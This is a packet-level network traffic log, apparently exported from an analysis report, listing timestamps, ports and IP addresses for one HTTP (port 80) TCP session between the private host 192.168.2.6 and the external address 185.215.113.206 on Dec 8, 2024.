Dec 8, 2024 15:38:12.814030886 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.814038038 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.814080000 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.815344095 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.815395117 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.815449953 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.815495014 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.816834927 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.816890955 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.816922903 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.816963911 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.818263054 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.818310022 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.818346024 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.818386078 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.819684982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.819736004 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.819768906 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.819809914 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.821067095 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.821127892 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.821161032 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.821203947 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.822438002 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.822483063 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.822520018 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.822562933 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.823824883 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.823870897 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.823906898 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.823947906 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.825155973 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.825210094 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.825249910 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.825295925 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.826669931 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.826719999 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.826725960 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.826773882 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.827836037 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.827882051 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.827935934 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.827981949 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.829164982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.829215050 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.860095978 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.860119104 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.860169888 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.860188961 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.860564947 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.860619068 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.860860109 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.860914946 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.860940933 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.860991001 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.861907959 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.861952066 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.861963987 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.862030029 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.862817049 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.862863064 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.862915993 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.862956047 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.863939047 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.864052057 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.864077091 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.864097118 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.865098000 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.865154028 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.865192890 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.865243912 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.866161108 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.866218090 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.866303921 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.866349936 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.867280006 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.867333889 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.867434978 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.867485046 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.868360043 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.868410110 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.868469954 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.868526936 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.869488001 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.869539976 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.869575977 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.869623899 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.870580912 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.870628119 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.870760918 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.870810986 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.871680021 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.871733904 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.871787071 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.871841908 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.872793913 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.872843027 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.872874022 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.872915030 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.873905897 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.873960018 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.874020100 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.874064922 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.875021935 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.875075102 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.875164986 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.875214100 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.876074076 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.876162052 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.876184940 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.876351118 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.877151012 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.877201080 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.877327919 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.877367973 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.878449917 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.878493071 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.878592968 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.878631115 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.879329920 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.879384995 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.879463911 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.879512072 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.880362988 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.880419970 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.880450010 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.880498886 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.928720951 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.928772926 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.928816080 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.928843021 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.929236889 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.929287910 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.929394007 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.929438114 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.930361032 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.930423975 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.930463076 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.930505037 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.931436062 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.931488991 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.931616068 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.931663036 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.932467937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.932524920 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.932564974 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.932605982 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.933624029 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.933681965 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.933851957 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.933896065 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.934657097 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.934729099 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.934760094 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.934803009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.935826063 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.935873985 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.935940027 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.935982943 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.936825991 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.936877012 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.936935902 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.936981916 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.937905073 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.937961102 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.938018084 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.938066006 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.990591049 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.990633011 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.990684032 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.990689993 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.990703106 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.990712881 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.990734100 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.990746021 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.991411924 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.991461039 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.991462946 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.991501093 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.992366076 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.992410898 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.992484093 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.992527962 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.993670940 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.993719101 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.993825912 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.993871927 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.994709015 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.994762897 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.994914055 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.994961977 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.995771885 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.995819092 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.995846033 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.995889902 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.996820927 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.996870995 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.996906042 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.996948004 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.997734070 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.997781992 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.997813940 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.997858047 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.998935938 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.998980999 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.999011993 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.999063015 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.999882936 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.999936104 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.999972105 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.000019073 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.001069069 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.001118898 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.001198053 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.001245975 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.002238035 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.002294064 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.002366066 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.002409935 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.003185987 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.003246069 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.003277063 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.003329992 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.004082918 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.004147053 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.004168034 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.004219055 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.005116940 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.005177975 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.005212069 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.005259037 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.006112099 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.006154060 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.006203890 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.006251097 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.007154942 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.007216930 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.007255077 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.007302046 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.008187056 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.008234978 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.008327007 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.008368015 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.009207964 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.009260893 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.009325027 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.009371996 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.010226011 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.010272980 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.010319948 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.010375977 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.011291981 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.011343002 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.011374950 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.011420965 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.012948036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.012989998 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.013133049 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.013176918 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.013613939 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.013659000 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.051914930 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.052058935 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.052093029 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.052128077 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.052429914 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.052493095 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.052505970 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.052548885 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.053380013 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.053443909 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.053518057 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.053570032 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.054429054 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.054475069 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.054723978 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.054769039 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.054825068 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.054871082 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.055741072 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.055790901 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.055877924 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.055926085 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.056932926 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.056983948 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.057065010 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.057111025 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.057821989 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.057868004 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.058032036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.058094978 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.058904886 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.058954000 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.058990955 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.059040070 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.059931040 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.059976101 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.060005903 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.060050964 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.060884953 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.060936928 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.060976982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.061023951 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.061954975 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.062016010 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.062051058 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.062091112 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.062937975 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.062994003 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.063086033 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.063133955 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.063961029 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.064012051 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.064049959 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.064095020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.064980984 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.065031052 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.065094948 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.065140009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.066034079 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.066081047 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.066154003 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.066196918 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.067039967 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.067089081 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.067154884 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.067202091 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.068094969 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.068145037 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.068192005 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.068238020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.069109917 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.069159031 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.069297075 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.069338083 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.070137978 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.070194960 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.070242882 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:13.070290089 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:13.071233988 CET	80	49708	185.215.113.206	192.168.2.6
